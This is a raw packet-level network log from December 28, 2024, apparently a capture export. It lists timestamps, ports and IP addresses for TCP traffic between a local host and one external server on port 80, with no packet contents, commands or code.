Dec 28, 2024 09:48:56.206645966 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.206692934 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.206748009 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.207498074 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.207540989 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.207580090 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.208348036 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.208391905 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.208458900 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.209207058 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.209368944 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.209408045 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.210160017 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.210172892 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.210237026 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.210984945 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.211003065 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.211045980 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.211806059 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.211894035 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.211950064 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.212433100 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.212618113 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.212657928 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.212747097 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.213507891 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.213551044 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.213610888 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.214453936 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.214466095 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.214493036 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.215329885 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.215342045 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.215377092 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.216131926 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.216169119 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.216201067 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.217037916 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.217075109 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.217127085 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.217899084 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.217946053 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.217967987 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.218719959 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.218777895 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.218808889 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.219564915 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.219719887 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.219750881 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.220465899 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.220578909 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.220592976 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.221343040 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.221482992 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.221494913 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.222206116 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.222249985 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.222313881 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.223081112 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.223201036 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.223248959 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.223903894 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.223943949 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.223975897 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.243752956 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.371290922 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.371367931 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.371416092 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.371650934 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.371762037 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.371839046 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.372560024 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.372695923 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.372739077 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.373382092 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.373503923 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.373548985 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.374244928 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.374344110 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.374387026 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.375133991 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.375175953 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.375215054 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.375965118 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.376075983 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.376127005 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.376826048 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.376894951 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.376940012 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.377717972 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.377841949 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.377882957 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.378565073 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.378686905 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.378726006 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.379441977 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.379555941 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.379596949 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.380300999 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.380347013 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.380393028 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.381148100 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.381228924 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.381270885 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.382025957 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.382138968 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.382181883 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.382898092 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.383009911 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.383045912 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.383761883 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.383876085 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.383922100 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.384629965 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.384680986 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.384727001 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.385545015 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.385617971 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.386369944 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.386411905 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.386475086 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.386950016 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.387232065 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.387339115 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.387383938 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.388107061 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.388202906 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.388242960 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.388953924 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.389060020 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.389116049 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.389900923 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.390033007 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.390078068 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.390674114 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.390793085 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.390841007 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.391765118 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.391877890 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.391927958 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.392426014 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.392543077 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.392647982 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.393289089 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.393356085 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.393460989 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.394151926 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.394264936 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.394309998 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.395019054 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.395133018 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.395183086 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.395850897 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.395982027 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.396027088 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.396769047 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.396787882 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.396835089 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.397588015 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.397697926 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.397739887 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.398533106 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.398706913 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.398753881 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.399339914 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.399450064 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.399496078 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.400197029 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.400362015 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.400404930 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.401066065 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.401182890 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.401216030 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.401926994 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.402044058 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.402086973 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.402806044 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.402916908 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.402950048 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.403708935 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.403795958 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.403840065 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.404520988 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.404644966 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.404687881 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.405379057 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.405483961 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.405563116 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.406267881 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.406413078 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.406459093 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.407121897 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.407277107 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.407301903 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.407321930 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.407983065 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.408276081 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.408822060 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.408879995 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.408977985 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.409723043 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.409773111 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.409810066 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.409987926 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.410568953 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.410687923 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.410731077 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.411431074 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.411539078 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.411664009 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.412316084 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.412435055 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.412477016 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.413223028 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.413341999 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.413379908 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.414031029 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.414141893 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.414189100 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.414907932 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.415019989 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.415061951 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.415826082 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.415906906 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.415946960 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.416570902 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.435118914 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.563133955 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.563261032 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.563400984 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.563579082 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.563604116 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.563643932 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.564451933 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.564584017 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.564687967 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.565327883 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.565455914 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.565511942 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.566183090 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.566270113 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.566309929 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.567030907 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.567142010 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.567912102 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.567959070 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.568084002 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.568777084 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.568820000 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.568864107 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.568900108 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.569632053 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.569741964 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.569782972 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.570493937 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.570712090 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.570759058 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.571367025 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.571423054 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.571465969 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.572217941 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.572329044 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.572411060 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.573090076 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.573203087 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.573247910 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.573965073 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.574055910 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.574106932 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.574837923 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.574932098 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.575053930 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.575704098 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.575802088 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.575958967 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.576560974 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.576664925 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.576708078 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.577409029 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.577537060 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.577574968 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.578283072 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.578383923 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.578425884 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.579158068 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.579344988 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.579391003 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.580020905 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.580132961 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.580179930 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.580884933 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.581017017 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.581116915 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.581758022 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.581844091 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.581887007 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.582616091 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.582838058 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.582884073 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.583465099 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.583538055 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.583621979 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.584336996 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.584446907 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.584542990 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.585211039 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.585319042 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.585459948 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.586060047 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.586188078 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.586335897 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.586994886 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.587088108 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.587228060 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.587802887 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.587927103 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.587966919 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.588655949 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.588673115 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.588778973 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.589603901 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.589643955 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.589646101 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.590445995 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.590490103 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.590539932 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.590578079 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.591269970 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.591371059 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.591423988 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.592142105 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.592257023 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.592319012 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.592995882 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.593040943 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.593090057 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.593857050 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.593907118 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.593952894 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.594736099 CET	80	49782	185.215.113.16	192.168.2.11
